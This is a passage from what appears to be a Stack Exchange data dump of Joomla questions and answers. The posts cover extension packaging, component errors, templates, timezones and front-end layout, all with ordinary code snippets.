&lt;code&gt;enqueueMessage&lt;/code&gt; should be used before the redirect, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url  = 'index.php?option=com_rsform&amp;amp;view=directory&amp;amp;Itemid='.$itemId_value;&#xA;$msg  = 'successfully deleted';&#xA;$type = 'success';&#xA;$mainframe-&amp;gt;enqueueMessage($msg, $type);&#xA;$mainframe-&amp;gt;redirect(JRoute::_($url, false));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-06-30T09:35:13.890" LastActivityDate="2015-06-30T09:35:13.890" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10639" PostTypeId="1" CreationDate="2015-06-29T22:07:31.193" Score="0" ViewCount="55" Body="&lt;p&gt;I have made several translation packages to a plugin (Joomla! 3.4.1) that I have. I followed this official documentation &lt;a href=&quot;https://docs.joomla.org/Creating_language_packs_for_extensions_in_Joomla_2.5&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Creating_language_packs_for_extensions_in_Joomla_2.5&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When installing for the first time, every thing works as expected.&#xA;The only issue is when I need to upgrade an already installed package.&#xA;The file is replaced as expected but when I go to Extensions-&gt;Extensions Manager-&gt;Manage there will be listed both installation and should be only one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My xml file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;    &amp;lt;extension type=&quot;file&quot; version=&quot;2.5&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;My Plugin - French (fr-FR)&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;author&amp;lt;/author&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;Apr 2015&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;Copyright (C) 2014. All rights reserved.&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;GNU General Public License version 3 or later; see LICENSE.txt&amp;lt;/license&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;email&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.1.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;fr-FR Pack de langue&amp;lt;/description&amp;gt;&#xA;    &amp;lt;fileset&amp;gt;&#xA;        &amp;lt;files folder=&quot;fr-FR&quot; target=&quot;administrator/language/fr-FR&quot;&amp;gt;&#xA;            &amp;lt;filename&amp;gt;fr-FR.plg_system_my_plugin.ini&amp;lt;/filename&amp;gt;&#xA;            &amp;lt;filename&amp;gt;fr-FR.plg_system_my_plugin.sys.ini&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;/files&amp;gt;&#xA;    &amp;lt;/fileset&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a problem in my xml file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Found the problem.&#xA;Manifest filename wasn't the same as name field.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2087" LastEditorUserId="2087" LastEditDate="2015-06-30T12:35:18.717" LastActivityDate="2015-07-01T00:34:20.280" Title="Plugin translation package issue" Tags="|plugin|language|installation|packaging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10641" PostTypeId="1" CreationDate="2015-06-30T03:32:09.593" Score="0" ViewCount="360" Body="&lt;p&gt;I already installed chronoconnectivity  V4 J3 but when i clicked on choronoconnectivity, this error appear. What should i do??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning: require_once(C:\xampp\htdocs\FirstAttempt\administrator\components\com_chronoconnectivity\versions\j3.4\admin.chronoconnectivity.php): failed to open stream: No such file or directory in C:\xampp\htdocs\FirstAttempt\administrator\components\com_chronoconnectivity\admin.chronoconnectivity.php on line 28&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: require_once(): Failed opening required 'C:\xampp\htdocs\FirstAttempt\administrator\components\com_chronoconnectivity\versions\j3.4\admin.chronoconnectivity.php' (include_path='.;C:\xampp\php\PEAR') in C:\xampp\htdocs\FirstAttempt\administrator\components\com_chronoconnectivity\admin.chronoconnectivity.php on line 28&lt;/p&gt;&#xA;" OwnerUserId="5475" LastActivityDate="2015-07-01T06:41:50.310" Title="Problem with ChronoConnectivity V4 J3 Component" Tags="|joomla-3.4|chronoforms|" AnswerCount="1" CommentCount="1" ClosedDate="2015-07-01T13:22:42.340" ContentLicense="CC BY-SA 3.0" />
  <row Id="10642" PostTypeId="2" ParentId="10382" CreationDate="2015-06-30T06:42:17.687" Score="1" Body="&lt;p&gt;Why do you use FTP? It's very insecure, it's better if you could access the server remotely, through an SSH or like wise and from there do a git pull whenever you did changes in your local environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also recommend that you use the .gitignore-file to ignore all files in your repository, except the altered changes your developers make, this to avoid that the actualy Joomla-library comes into GIT, which requires unnnecessary space, and problems at updating times. So if you make a component, you simply type !/public/components/com_my_component, whilst leaving a simple &quot;/&quot; ontop of your .gitignore file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About the database, you could create so called &quot;patches&quot;. Whenever you make an update in your database, you save that information to a file, if you do it from phpMyAdmin you can just copy the line after execution, and put it in a /db folder in your git-repository. Then you pull the latest code on your production-server and import this patch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you would work locally, but whenever you did any local changes that doesn't break the application, you can just git push it to your repository, and git pull it on your server, that's the idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it works out!&lt;/p&gt;&#xA;" OwnerUserId="5349" LastActivityDate="2015-06-30T06:42:17.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10643" PostTypeId="1" CreationDate="2015-06-30T07:09:44.800" Score="2" ViewCount="1069" Body="&lt;p&gt;I have a number of Joomla modules that have a background image set. There isn't any content in the module itself, it just has a background image set under the 'Options' tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to do is link the image to a page on the web site. Is this possible? How can I do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;James&lt;/p&gt;&#xA;" OwnerUserId="3890" LastActivityDate="2015-06-30T09:33:59.943" Title="Joomla Module - Link a Background Image" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10644" PostTypeId="2" ParentId="10643" CreationDate="2015-06-30T07:59:29.260" Score="1" Body="&lt;p&gt;There is an explanation of how to do this (or similar) &lt;a href=&quot;https://docs.joomla.org/Creating_clickable_background_images_using_CSS&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically create the link and give your &lt;code&gt;href&lt;/code&gt; an id. Then create the css code (save this is your &lt;code&gt;custom.css&lt;/code&gt; file), and apply this css classto your divs 'Module Class Suffix'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this should work?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eample code;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;site&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;full-width-header&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;/&quot; id=&quot;home-link&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&#xA;        &amp;lt;div id=&quot;header-content&quot;&amp;gt;We love using Joomla!&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;body-content&quot;&amp;gt;OSM saves the world!&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;footer-content&quot;&amp;gt;(c) the really cool web-designer&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CSS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#full-width-header {&#xA;    position: relative; /* necassary to&#xA;        absolute-position the child-element&#xA;        #home-link relative to the header */&#xA;    background: url(header-logo.jpg);&#xA;    width: 800px;&#xA;    height: 172px;&#xA;}&#xA;#home-link {&#xA;    position: absolute;&#xA;    display: inline-block;&#xA;    width: 200px;    /* width of the logo */&#xA;    height: 172px;   /* height of the logo */&#xA;    top: 0; left: 0; /* top-left corner of logo */&#xA;    border: 0;&#xA;    float: left;&#xA;    visibility: hidden;&#xA;}&#xA;#header-content {&#xA;    position: relative;&#xA;    float: right;&#xA;    width: 400px;&#xA;    height: 172px;&#xA;    vertical-align: bottom;&#xA;    text-align: right;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2015-06-30T07:59:29.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10645" PostTypeId="2" ParentId="10643" CreationDate="2015-06-30T08:54:19.107" Score="1" Body="&lt;p&gt;You need to add in a link that fills the size of your module so that your module is a clickable link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I presume that you are using custom HTML modules, if so you can open the module and put in the following code as HTML content (use &quot;toggle editor&quot; or the option to view the source code, depending on your editor).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;insert-link-here&quot; style=&quot;display: block; width: 100%; height 100%&quot;&amp;gt; &amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-06-30T08:54:19.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10646" PostTypeId="2" ParentId="10643" CreationDate="2015-06-30T09:22:55.490" Score="2" Body="&lt;p&gt;Just because you can do this, as suggested in other answers, doesn't mean that you should. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background images are decorative, &lt;em&gt;with no content value&lt;/em&gt;, links are meant to be used for content. What you are intending to do is basically the same as linking a colour, say Ghostwhite, to somewhere; it makes no sense at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to link images then those images should be in your content. If you only have a background image then &lt;em&gt;you don't have any content&lt;/em&gt;, so there is nothing to link from.&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="296" LastEditDate="2015-06-30T09:33:59.943" LastActivityDate="2015-06-30T09:33:59.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10647" PostTypeId="2" ParentId="10609" CreationDate="2015-06-30T13:53:18.810" Score="1" Body="&lt;p&gt;If I understood you correctly you should add &lt;code&gt;getReorderConditions()&lt;/code&gt; method to your &lt;code&gt;Group&lt;/code&gt; model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * A protected method to get a set of ordering conditions.&#xA; *&#xA; * @param   object  $table A record object.&#xA; *&#xA; * @return  array   An array of conditions to add to add to ordering queries.&#xA; */&#xA;protected function getReorderConditions($table)&#xA;{&#xA;    $condition = array();&#xA;    $condition[] = 'catid = ' . (int) $table-&amp;gt;catid;&#xA;&#xA;    return $condition;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;catid&lt;/code&gt; is the category field in your table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;getReorderConditions()&lt;/code&gt; method is used in &lt;code&gt;reorder()&lt;/code&gt; method of &lt;code&gt;JModelAdmin&lt;/code&gt; class to apply additional conditions to reorder query.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-06-30T13:53:18.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10648" PostTypeId="2" ParentId="10601" CreationDate="2015-06-30T13:59:08.223" Score="1" Body="&lt;p&gt;Bakual's answer actually should be accepted, but I just want to show the example of JS code that should be added to the page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    jQuery(document).ready(function($) {&#xA;        Calendar.setup({&#xA;        // Id of the input field&#xA;        inputField: '&amp;lt;?php echo $field-&amp;gt;id; ?&amp;gt;',&#xA;        // Format of the input field&#xA;        ifFormat: '&amp;lt;?php echo $field-&amp;gt;format; ?&amp;gt;',&#xA;        // Trigger for the calendar (button ID)&#xA;        button: '&amp;lt;?php echo $field-&amp;gt;id; ?&amp;gt;_img',&#xA;        // Alignment (defaults to &quot;Bl&quot;)&#xA;        align: 'Tl',&#xA;        singleClick: true,&#xA;        firstDay: '&amp;lt;?php echo JFactory::getLanguage()-&amp;gt;getFirstDay(); ?&amp;gt;'&#xA;        });&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$field&lt;/code&gt; here is a &lt;code&gt;JFormField&lt;/code&gt; object.&lt;/p&gt;&#xA;" OwnerUserId="3" LastEditorUserId="3" LastEditDate="2015-07-01T06:53:19.080" LastActivityDate="2015-07-01T06:53:19.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10649" PostTypeId="2" ParentId="4791" CreationDate="2015-06-30T20:07:05.800" Score="4" Body="&lt;p&gt;I had the same problem recently.  What helped was:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In administrator/components/com-admin/sql/updates, delete all the sql files for versions older than the start version (in my case I was updating from 2.5.28, so I deleted everything with an older version number.&#xA;Then I entered /administrator/index.php?option=com_installer&amp;amp;task=database.fix&#xA;This got the extension manager working, though it looked bad.  Did a discover, updated isis (default admin template), looked better.  After that found which components caused blank screens and uninstalled/reinstalled them with later versions.  (In my case this was PhocaGallery, JCEEditor, Weblinks, and the site template - I needed to replace it with a 3-compatible one.) The old version of JCE Editor actually stopped the control panel opening!  No content was lost except for the weblinks, which I can copy from elsewhere.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="5502" LastActivityDate="2015-06-30T20:07:05.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10650" PostTypeId="2" ParentId="10639" CreationDate="2015-07-01T00:34:20.280" Score="1" Body="&lt;p&gt;Found the problem. Manifest filename wasn't the same as name field.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-07-01T00:34:20.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10651" PostTypeId="2" ParentId="10622" CreationDate="2015-07-01T00:39:15.610" Score="0" Body="&lt;p&gt;In general, Joomla requires a session token to accept a form post. Thus, a first request must get the token and submit it along the rest of the fields.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-07-01T00:39:15.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10653" PostTypeId="2" ParentId="10641" CreationDate="2015-07-01T06:26:40.930" Score="1" Body="&lt;p&gt;If you upgrade to a new version of Joomla, you may find that ChronoForms and ChronoConnectivity start to fail or give errors. There is one solution to fix this error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check your ChronoForms installation and look in the /administrator/components/com_chronoforms/versions folder or the equivalent for chronoconnectivity. You will see a folders there named for different version of Joomla. If there isn't one for the new version you have upgraded to please make a copy of the previous folder and rename it to the new Joomla version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example copy folder j 3.3 and rename it with j 3.4 if there is no joomla 3.4 version&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BP3E4.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on &lt;a href=&quot;https://www.chronoengine.com/faqs/56-cfv4/cfv4-other-faqs/5125-chronoformschronoconnectivity-fails-after-a-joomla-upgrade.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;This link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5475" LastEditorUserId="5475" LastEditDate="2015-07-01T06:41:50.310" LastActivityDate="2015-07-01T06:41:50.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10654" PostTypeId="1" AcceptedAnswerId="10655" CreationDate="2015-07-01T06:58:48.000" Score="-2" ViewCount="125" Body="&lt;p&gt;I have already searched for some website to get free template since I want to change joomla template. Is there anyone who knows where can i get FREE Joomla template? And how to change the template. Thank you&lt;/p&gt;&#xA;" OwnerUserId="5475" LastActivityDate="2015-07-03T04:27:30.983" Title="How to change Joomla template" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10655" PostTypeId="2" ParentId="10654" CreationDate="2015-07-01T07:06:16.083" Score="2" Body="&lt;p&gt;&lt;strong&gt;How to install a Joomla template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Installation steps&lt;/strong&gt;&lt;br&gt;&#xA;After downloading the Joomla template go to Joomla administrator -&gt; Extensions -&gt; Extensions Manager.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tdD26.jpg&quot; alt=&quot;Joomla Administrator&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will see the screen below&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2Oodz.jpg&quot; alt=&quot;Upload and install Joomla template&quot;&gt;&#xA;Here you can upload the Joomla template zip file by clicking browse and locating the template file. After doing that click &lt;strong&gt;Upload &amp;amp; Install&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;&lt;strong&gt;Assign the template to your website&lt;/strong&gt;&lt;br&gt;&#xA;Go to Joomla administrator -&gt; Extensions -&gt; Template manager -&gt; Here you can see the new template. Click the star next to it to make it the default template for your website. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/eHD61.jpg&quot; alt=&quot;Assign template&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that if Administrator is written on the right of the star, the template will only show for the Administrative section of the website.&lt;/p&gt;&#xA;" OwnerUserId="5404" LastEditorUserId="115" LastEditDate="2015-07-01T13:24:07.223" LastActivityDate="2015-07-01T13:24:07.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10656" PostTypeId="2" ParentId="10654" CreationDate="2015-07-01T08:09:25.087" Score="5" Body="&lt;p&gt;Before installing any &lt;em&gt;free&lt;/em&gt; template, you should take a close look at the code as malicious code in the template can be used to take control of your website, and/or web hosting account or web server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question provides some tips for finding exploit code that can be hidden in free templates, and some advice on where to find reputable free templates: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/503/how-can-i-tell-if-a-free-template-contains-malware/523#523&quot;&gt;How can I tell if a free template contains malware?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-07-01T08:09:25.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10657" PostTypeId="1" CreationDate="2015-07-01T09:29:54.180" Score="0" ViewCount="397" Body="&lt;p&gt;I'm running Joomla 3.3.1 with MySQL 5.6.21 and I'm getting the following error when running an Index. It indexes 2 items and then stops.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An Error Has Occurred&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Duplicate entry '1-0' for key 'PRIMARY'&lt;/strong&gt;&#xA;  SQL=INSERT INTO `b83d9z9_finder_links_terms0` (`link_id`, `term_id`, `weight`) SELECT&#xA;  1, `term_id`, ROUND(SUM(`context_weight`), 8) FROM&#xA;  `b83d9z9_finder_tokens_aggregate` WHERE `map_suffix` = '0' GROUP BY&#xA;  `term` ORDER BY `term` DESC&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any ideas what might be causing this?&lt;/p&gt;&#xA;" OwnerUserId="187" LastEditorUserId="12352" LastEditDate="2019-01-28T13:52:28.013" LastActivityDate="2019-01-28T13:54:39.953" Title="Smart search Indexer duplicate entry mysql error" Tags="|mysql|smartsearch|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="10658" PostTypeId="1" AcceptedAnswerId="10659" CreationDate="2015-07-01T13:16:13.537" Score="2" ViewCount="428" Body="&lt;p&gt;I would like to check the time within a sub controller's method. The calendar field in my JForm saves the datetime to sql and uses UTC. So now we have 15:11h in Germany and in the database would be stored &quot;2015-07-01 13:11:00&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm using DATE_FORMAT_LC2 in my views to print the time in &quot;German time&quot;. This works fine, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my controller wants to check if the entry is older than current time. Unfortunately I always get &quot;2015-07-01 13:11:00&quot;, the time that is saved in the database, when calling $this-&gt;savedtime;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I &quot;generate&quot; the german time in my controller? At this moment this is my source:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$now            =           JFactory::getDate();            &#xA;$itemdate       =           JFactory::getDate($item-&amp;gt;savedtime);&#xA;&#xA;if($now &amp;gt; $itemdate)&#xA;{&#xA;//do fancy stuff&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I solve this?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2015-07-01T14:59:07.787" Title="Joomla Timezone" Tags="|php|joomla-3.4|date|jfactory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10659" PostTypeId="2" ParentId="10658" CreationDate="2015-07-01T14:59:07.787" Score="4" Body="&lt;p&gt;&lt;code&gt;JHtml::date()&lt;/code&gt; will automatically use your timezone setting.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::date('now', 'Y-m-d H:i:s');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See the answer &lt;a href=&quot;https://stackoverflow.com/questions/22083108/joomla-timezone&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-07-01T14:59:07.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10660" PostTypeId="1" CreationDate="2015-07-01T17:33:21.030" Score="0" ViewCount="127" Body="&lt;p&gt;I am using joomla contact enhanced form component for my site. Now when I submit the form without the required field, the page is not scrolling back to the top rather it's stuck in the bottom section of the page. It would be great if anyone can help me out on this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now for required field, the following jquery code is applied:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_step : function(page,validate) {&#xA;        var status      = true;&#xA;        var validate    = validate || false;&#xA;        if(validate == true){&#xA;            $('#'+this.options.namespace+'-page-'+page).find('input[required],textarea[required],select[required]').each(function() {&#xA;                if(!$(this).valid()) {&#xA;                    status = false;&#xA;                }&#xA;            });&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I want to add scroll top functionality with an ID like the following: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(status){&#xA;            //$('#name').valid()&#xA;            this.current = page;&#xA;            this.slider.accordion(&quot;activate&quot;, page);&#xA;            if (this.options.progressbar) {&#xA;                var value = page;&#xA;                if(this.options.progressbarLabel == 'text' || this.options.progressbarLabel == '%'){&#xA;                    value = page+1;&#xA;                }&#xA;                this.progressbar.progressbar('value', value);&#xA;            }&#xA;            this._updateButtons();&#xA;            $('html, body').animate({&#xA;                scrollTop: $('#ce-custom-fields-container').offset().top&#xA;            }, 1000);&#xA;&#xA;            return true;&#xA;        }&#xA;        return false;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So need your suggestion on how I am going to add required field with the scrolltop functionality? &lt;/p&gt;&#xA;" OwnerUserId="4096" LastEditorUserId="4096" LastEditDate="2015-07-01T18:00:42.077" LastActivityDate="2015-07-01T18:00:42.077" Title="Joomla Contact Enhanced required field jquery" Tags="|joomla-3.x|javascript|jquery|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10661" PostTypeId="1" AcceptedAnswerId="10699" CreationDate="2015-07-01T20:38:00.927" Score="2" ViewCount="3970" Body="&lt;p&gt;I just updated my local Xampp and a view remote sites from 3.4.1 to 3.4.2 and all (as far as I have tested) my custom components stopped being able to save, cancel form dialogs in the back end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I mean is the action buttons in the List views work. 'Add new item', 'Edit item' .. will load the forms, but then neither save, cancel will do anything!&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The client validation is triggered, but nothing is forwarded after that. &lt;/li&gt;&#xA;&lt;li&gt;NO php error&lt;/li&gt;&#xA;&lt;li&gt;No Joomla error&lt;/li&gt;&#xA;&lt;li&gt;No JS error ..&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;3.4.2 update only talks about minor security fixes!. ANY ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm happy to post code, but at this point I have no idea which parts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    JToolBarHelper::save('simplelist.save');&#xA;    JToolBarHelper::cancel('simplelist.cancel');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I checked with the Banner component, it doesn't look different from what I do, yet they are all still working&lt;/p&gt;&#xA;" OwnerUserId="1950" LastActivityDate="2015-07-14T17:48:29.423" Title="Joomla.submitbutton (...) stops working after 3.4.2 update" Tags="|joomla-3.4|update|custom-component|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10662" PostTypeId="2" ParentId="10661" CreationDate="2015-07-01T21:58:49.290" Score="0" Body="&lt;p&gt;Joomla 3.4.2 has some known issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if it's related to yours, however they will be releasing Joomla 3.4.3 tomorrow, so I'd wait and install that update first.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-07-01T21:58:49.290" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10663" PostTypeId="1" AcceptedAnswerId="10664" CreationDate="2015-07-01T22:14:19.593" Score="1" ViewCount="119" Body="&lt;p&gt;I am using Bootstrap 3.3.4, this page renders fine in a desktop browser:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://79.170.44.87/saracenhorsefeeds.com/index.php?option=com_content&amp;amp;view=category&amp;amp;layout=blog&amp;amp;id=49&amp;amp;Itemid=262&quot; rel=&quot;nofollow&quot;&gt;http://79.170.44.87/saracenhorsefeeds.com/index.php?option=com_content&amp;amp;view=category&amp;amp;layout=blog&amp;amp;id=49&amp;amp;Itemid=262&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I view on a mobile device, all 4 products are bunched up together. I've tried to debug it but can't see anything obviously wrong. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2015-08-07T12:39:42.787" Title="Layout Problems with Bootstrap" Tags="|joomla-3.4|twitter-bootstrap-3|responsive-web-design|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10664" PostTypeId="2" ParentId="10663" CreationDate="2015-07-01T22:25:36.303" Score="1" Body="&lt;p&gt;I found the issue, this was related to a min-height style only being assigned to @media only screen and (min-width : 1224px)&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2015-07-01T22:25:36.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10665" PostTypeId="1" CreationDate="2015-07-02T03:16:18.143" Score="1" ViewCount="86" Body="&lt;p&gt;Is there a way to detect position of loading javascript libraries in Joomla(my goal is 'framework.bootstrap'). because I currently follow this &lt;a href=&quot;https://joomla.stackexchange.com/questions/4953/how-can-i-completely-remove-bootstrap-from-the-frontend-of-joomla&quot;&gt;post&lt;/a&gt;&#xA;but after using &quot;unset&quot; method from &lt;code&gt;[JDataset][2]&lt;/code&gt; method collections, the boostrap framework is completely disabled in all Joomla web pages except in &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;com_finder&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;component. How can I detect where this library is added with non-standard way because unset method doesn't affect on this component.&#xA;also:&#xA;1) I moved unset method before and after &lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&lt;/code&gt; line, there is no effect&#xA;2) use plugin onAfterRender solution to call unset method but no effect again&#xA;3) and completely check all codes in com_finder and its dependencies e.g: 